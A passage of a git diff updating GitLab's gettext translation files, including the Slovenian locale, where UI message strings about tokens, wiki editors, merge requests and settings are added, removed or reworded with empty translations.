@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33785,7 +33584,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34528,9 +34327,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34615,9 +34420,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34717,9 +34519,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34732,6 +34543,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34780,6 +34594,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35261,12 +35084,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35357,21 +35174,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35507,9 +35309,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35846,9 +35645,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35978,6 +35783,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36275,9 +36083,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36287,9 +36092,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36371,9 +36182,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36463,6 +36271,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36481,9 +36292,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36517,6 +36325,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36586,7 +36397,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36727,7 +36541,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36859,6 +36673,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37159,6 +36976,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37168,6 +36994,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37370,7 +37199,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37391,6 +37220,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37406,16 +37238,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37430,10 +37262,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37703,6 +37541,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37742,9 +37583,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37922,21 +37760,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38000,9 +37835,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38162,12 +37994,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 37a20f5db2d..52c0a5fdb61 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:47\n"
+"PO-Revision-Date: 2021-07-01 21:34\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -547,6 +540,30 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,10 +812,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -996,9 +1023,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2131,6 +2143,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
